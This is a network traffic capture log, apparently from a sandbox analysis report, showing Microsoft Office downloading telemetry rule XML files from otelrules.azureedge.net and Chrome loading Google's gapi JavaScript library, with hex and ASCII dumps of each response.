2024-11-19 19:05:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190530Z-185f5d8b95crl6swhC1NYC3ueg00000009500000000147b5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:30 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:31 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190531Z-185f5d8b95cx9g8lhC1NYCtgvc00000001d000000000yssn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:31 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:31 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190531Z-185f5d8b95crl6swhC1NYC3ueg00000009ag0000000084yg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:31 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:31 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190531Z-1777c6cb754xjpthhC1TEBexs800000008cg0000000089qs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:31 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:31 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190531Z-r1d97b99577hc74hhC1TEBvbns00000007h000000000ra39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:31 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:31 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:31 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190531Z-185f5d8b95c4hl5whC1NYCeex0000000093000000000aes8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:31 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	49785	172.217.18.14	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:31 UTC	729	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 19:05:32 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 116987 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 18 Nov 2024 19:00:45 GMT Expires: Tue, 18 Nov 2025 19:00:45 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 11 Nov 2024 18:41:25 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 86687 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-19 19:05:32 UTC	475	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 32 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 61 61 2c 62 61 2c 66 61 2c 6d 61 2c 6e 61 2c 72 61 2c 73 61 2c 75 61 3b 61 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x200000, ]);var aa,ba,fa,ma,na,ra,sa,ua;aa=fun
2024-11-19 19:05:32 UTC	1390	IN	Data Raw: 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 66 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 Data Ascii: n a;a[b]=c.value;return a};fa=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw E
2024-11-19 19:05:32 UTC	1390	IN	Data Raw: 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 61 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 72 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 73 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e Data Ascii: efined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:aa(a)};throw Error("b`"+String(a));};ra=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};sa=typeof Object.assign=="function"?Object.
2024-11-19 19:05:32 UTC	1390	IN	Data Raw: 3b 74 68 69 73 2e 4b 72 3d 5b 5d 3b 74 68 69 73 2e 58 55 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 61 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 4d 64 61 29 2c 72 65 6a 65 63 74 3a 68 28 74 68 69 73 2e 48 4a 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 4d 64 61 3d 66 75 6e 63 74 69 Data Ascii: ;this.Kr=[];this.XU=!1;var k=this.aF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.aF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Mda),reject:h(this.HJ)}};e.prototype.Mda=functi
2024-11-19 19:05:32 UTC	1390	IN	Data Raw: 74 6f 74 79 70 65 2e 79 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4b 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4b 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 4d 4f 28 74 68 69 73 2e 4b 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4b 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 61 46 28 29 3b 68 2e 5a 78 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 75 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 29 7b 76 61 72 20 6c 3d 74 68 69 73 2e 61 46 28 29 3b 74 72 79 7b 68 2e 63 61 6c 6c 28 6b 2c 6c 2e 72 65 73 6f 6c 76 65 Data Ascii: totype.y7=function(){if(this.Kr!=null){for(var h=0;h<this.Kr.length;++h)f.MO(this.Kr[h]);this.Kr=null}};var f=new b;e.prototype.tfa=function(h){var k=this.aF();h.Zx(k.resolve,k.reject)};e.prototype.ufa=function(h,k){var l=this.aF();try{h.call(k,l.resolve
2024-11-19 19:05:32 UTC	1390	IN	Data Raw: 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6d 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 42 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 66 26 26 63 3c 65 3b 29 69 66 28 64 5b 63 2b 2b 5d 21 3d 62 5b 68 2b 2b 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 68 3e 3d 66 7d 7d Data Ascii: egular expression");return a+""};ma("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ba(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(var h=0;h<f&&c<e;)if(d[c++]!=b[h++])return!1;return h>=f}}
2024-11-19 19:05:32 UTC	1390	IN	Data Raw: 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 72 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 72 61 28 6c 2c 66 29 3f 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3a 76 6f 69 64 Data Ascii: (l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!ra(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return this};k.prototype.get=function(l){return c(l)&&ra(l,f)?l[f][this.Ga]:void
2024-11-19 19:05:32 UTC	1390	IN	Data Raw: 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 58 65 2e 50 6b 2e 6e 65 78 74 3d 6b 2e 58 65 2e 6e 65 78 74 2c 6b 2e 58 65 2e 6e 65 78 74 2e 50 6b 3d 0a 6b 2e 58 65 2e 50 6b 2c 6b 2e 58 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 50 6b 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 6b 29 2e 58 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: h\|\|delete this[0][k.id],k.Xe.Pk.next=k.Xe.next,k.Xe.next.Pk=k.Xe.Pk,k.Xe.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Pk=f();this.size=0};c.prototype.has=function(k){return!!d(this,k).Xe};c.prototype.get=function(
